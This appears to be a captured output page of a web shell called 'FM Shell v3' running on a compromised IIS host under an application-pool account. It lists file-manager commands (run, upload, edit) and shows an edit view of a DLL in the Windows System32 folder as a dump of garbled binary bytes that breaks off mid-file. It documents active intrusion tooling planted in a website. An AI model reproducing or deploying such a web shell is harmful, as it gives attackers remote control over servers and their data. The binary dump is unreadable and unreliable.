FM Shell v3
| user: iis apppool\cms1 | host: TEST-IIS | ps: 5.1.14393.3053 | pid: 9336
cwd:
C:\inetpub\wwwroot\ngcapwealth.com
[..]
go
mkdir
run
upload
edit: C:\Windows\System32\cbclient.dll
MZ ÿÿ ¸ @ º ´ Í!¸LÍ!This program cannot be run in DOS mode. $ lÞm!(¿r(¿r(¿r!Çr,¿rEâ s*¿rEâs%¿r(¿r²¿rEâs;¿rEâs*¿rEâs)¿rEâ s>¿rEâür)¿rEâs)¿rRich(¿r PE d ÀW ð " * ^ à- Ð × `A X X ° p À { 8 pU Ð @V Ø .text ) * `.rdata êG @ H . @ @.data v @ À.pdata p x @ @.rsrc ° | @ @.reloc À @ B ¸ ðÁAÿÀÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌH\$WHì HÙÏÿðÁyïu5H Ét0Hº/ HHIH Étÿ F HKH ÉtÿF HËèÕ ÇH\$0HÄ _ÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌHAH ÀtH3ÀøÃÌÌÌÌÌÌÌÌÌÌÌHAH ÀtH3ÀøÃÌÌÌÌÌÌÌÌÌÌÌA 3ÀÃÌÌÌÌÌÌÌÌA$3ÀÃÌÌÌÌÌÌÌÌLÜI[IkIs IKWAVAWHì0Lt$pIC3ÛICàI!IèI![ØLúA!IñMK(E3ÀHÕIÏ3ÿÿE ÀuQT$PK@HÂÿE HøH Àu¸ ëOHD$PE3ÉHD$(E3ÀHÕH|$ IÏÿÀD ÀuD$PH>Aë·ØË ÀNØH ÿt HÏÿÄD ÃH\$XHl$`Ht$hHÄ0A_A^_ÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌH\$UVWHìHì@3ÛHØF H!]øHùH!]ðA¹ E3ÀHÇÁ CE0E(HEøHD$ ÿD ¾ Àt·ØÞ ÀNØ ÛyH G éâ HMøHE(HD$(LM0HE8E3ÀH3F HD$ ÿÐC ÀuU8Bÿ=' wW$HEðA¹ E3ÀHD$ HëF HÇÁ ÿC Àt·ØÞ ÀNØë}HUðHE(LOHD$ L>G èþÿÿ Àt·ØÞ ÀNØ Ûy H XG ë6HUðHE(LOHD$ LG èÙýÿÿ Àt$·ØÞ ÀNØ ÛyH G LF ÓÿD HMðH ÉtÿêB HMøH ÉtÿÛB ÃH\$`HÄ@_^]ÃÌÌÌÌÌÌÌÌHì(úuÿýB ¸ HÄ(ÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌH\$Ht$WHì Hd$@ Hòù Í H ÒÄ H"